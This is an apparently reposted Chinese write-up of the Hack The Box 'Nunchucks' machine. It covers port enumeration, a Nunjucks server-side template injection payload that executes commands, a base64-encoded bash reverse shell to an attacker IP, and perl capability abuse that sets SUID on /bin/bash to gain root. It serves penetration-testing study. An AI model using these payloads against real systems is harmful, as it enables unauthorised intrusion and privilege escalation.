[HTB] Nunchucks Writeup
2022-10-17 15:56:9 Author: 一个人的安全笔记(查看原文) 阅读量:6 收藏

概述 (Overview)

b34271e1b628d07f704101c9fd297418.png

HOST: 10.10.11.122

OS: LINUX

发布时间: 2021-11-02

完成时间: 2021-11-04

机器作者: TheCyberGeek

困难程度: EASY

机器状态: 退休

MACHINE TAGS: #Node #SSTI #SUID

攻击链 (Kiillchain)

使用 Nmap 对目标服务器开放端口进行枚举,将 Web 重定向中的域名写入 hosts 文件后进行访问,通过子域名枚举发现存在 SSTI 的漏洞应用,成功触发命令执行获得初步立足点。

利用 linpase 脚本进行深度信息收集,发现 perl 存在 Capability 权限提升风险,最终通过修改 perl 脚本并运行获得 root 权限。

枚举(Enumeration)

常规使用 Nmap 先进行开放端口扫描:

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 6c:14:6d:bb:74:59:c3:78:2e:48:f5:11:d8:5b:47:21 (RSA)
|   256 a2:f4:2c:42:74:65:a3:7c:26:dd:49:72:23:82:72:71 (ECDSA)
|_  256 e1:8d:44:e7:21:6d:7c:13:2f:ea:3b:83:58:aa:02:b3 (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 4BD6ED13BE03ECBBD7F9FA7BAA036F95
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Nunchucks - Landing Page
| tls-nextprotoneg: 
|_  http/1.1
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Issuer: commonName=Nunchucks-CA/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-08-30T15:42:24
| Not valid after:  2031-08-28T15:42:24
| MD5:   57fc 410d e809 1ce6 82f9 7bee 4f39 6fe4
|_SHA-1: 518c 0fd1 6903 75c0 f26b a6cb e37d 53b8 a3ff 858b
| tls-alpn: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

从扫描结果中可以得知服务器系统是 Ubuntu ,对外提供了 Nginx 服务。在 HTTPS 端口的证书信息中存在一个 nunchucks.htb 的域名,访问 HTTP 端口也会重定向至该域名。

Port 443 - Nginx

配置好 hosts 文件内容后,访问该域名可以看到该站:

随便翻一翻存在 /login 页面,尝试使用页面上存在的 Email 地址信息进行弱口令登录:

77de58d318a7ccdf4bd02e5c17489c78.png

提示这个账号已经被禁用了,那么推测可以进行注册用户枚举,输入一个不存在的账号将会得到不同的提示信息:

0e489f31ef2ae03169e9512e842f1c31.png

这里我使用 cewl 工具将抓取站点内容生成字典:

$ cewl -w cewl-forum.txt -e -a https://nunchucks.htb

再使用的 wfuzz 工具进行自动化枚举,但尝试下来得到大量的 ERROR 信息,所以这条思路可以放弃。

$ wfuzz -Z -c -t 10 -H "Content-Type: application/json" -H "Cookie: _csrf=ALceg5YLCC3wT3Hfk4QIFae-" -w cewl-forum.txt -d '{"email":"[email protected]","password":"123456"}' -X POST -u "https://nunchucks.htb:443/api/login"

立足点(Foothold)

在没有更多可枚举信息的情况下,尝试进行子域名枚举:

1ace7f6d39870966b6709379bb725b2f.png

浏览器访问新得到的域名:https://store.nunchucks.htb

550

可以看到,页面只存在一个功能输入一个邮件地址的订阅功能,并且存在页面信息回显。

1a47900c05d2c8a722f89b180855ac71.png

通过查看 HTTP 请求,在返回信息中存在一个 X-Powered-By: Express,而 Express 常出现在 Node 应用中。

$ http HEAD https://store.nunchucks.htb/ --verify=false
HTTP/1.1 200 OK
Connection: keep-alive
Content-Encoding: gzip
Content-Type: text/html; charset=utf-8
Date: Mon, 10 Oct 2022 12:44:37 GMT
ETag: W/"fbd-udK+KYlYFVN2Nn2DXdm1EXd8mv0"
Server: nginx/1.18.0 (Ubuntu)
X-Powered-By: Express
set-cookie: _csrf=cxGhpfLwa6Qh6MTotpRYPVzO; Path=/

第一时间想到的就是尝试进行 SSTI 攻击的验证,这里使用 burp 进行特殊字符的发送:

e603a4a8089db95a19e242d6114954e0.png

观察返回信息,传递的 {{1+1}} 适用模版运算的语句被成功解析成字符串 2,说明 SSTI 漏洞存在。

其他更多详情可以查看引用内容:

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#tplmap https://expressjs.com/en/resources/template-engines.html

通过阅读:http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine ,将攻击 payload 发送至目标服务器成功触发命令执行回显。

{"email":"{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\")()}}"}

5c3e80f216fedc4ad69cdb6a46c7b3e3.png

接下来只需要传递 bash 语句运行,成功拿到目标服务的立足点:

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy42NC85OTAwIDA+JjE=|base64 -d     
bash -i >& /dev/tcp/10.10.17.64/9900 0>&1

0ad468422503fd0ec53d8b2c5bedc057.png

在 david 用户下可以获取到 user flag 。

这里漏洞实际产生的代码段也很简单,就是将内容透传至存在漏洞的 nunjucks 模版组件导致:

权限提升(Privilege Escalation)

将 linpeas 枚举脚本上传至目标服务器运行它进行深度信息收集, 发现 perl 命令存在 Capability 特权提升:

3455d52c49d5f807cc2ed620e57aa1eb.png

这种属性也可以使用 getcap 命令进行查看:

[email protected]:/dev/shm$ c
/usr/bin/perl = cap_setuid+ep

在 GTFOBins 中可以找到权限提升语句。

./perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
id
uid=1000(david) gid=1000(david) groups=1000(david)

可是按照语句执行后并没有直接得到 root 权限,可能环境还存在一些问题先记下。随后在枚举信息中看到存在 Web 站点的备份压缩包:

0f5e48a0ab63c862d8a4e8bcf05066ba.png

其中的 backup.pl 脚本含 perl 脚本命令执行的完整代码段:

9687b685ddd3c3a8f73743b186dd7d93.png

综合上面直接执行失败的命令语句,直接将脚本进行 copy 并修改代码内容,利用权限提升的命令执行更改 bash 命令权限,追加 SUID 权限。

#!/usr/bin/perl
use strict;
use POSIX qw(strftime);
use DBI;
use POSIX qw(setuid); 
POSIX::setuid(0); 

system("chmod +s /bin/bash");

使用该方法成功得到目标系统的 root 权限。


文章来源: http://mp.weixin.qq.com/s?__biz=MzIwOTA4NTg4MA==&mid=2652490361&idx=1&sn=4f97fd2cde74327dc8072707fbd65ca4&chksm=8c945eaebbe3d7b8515f775a09e359136b3da587f12d34eb1ba9ed53dd4462418bf71a518c3f#rd
如有侵权请联系:admin#unsafe.sh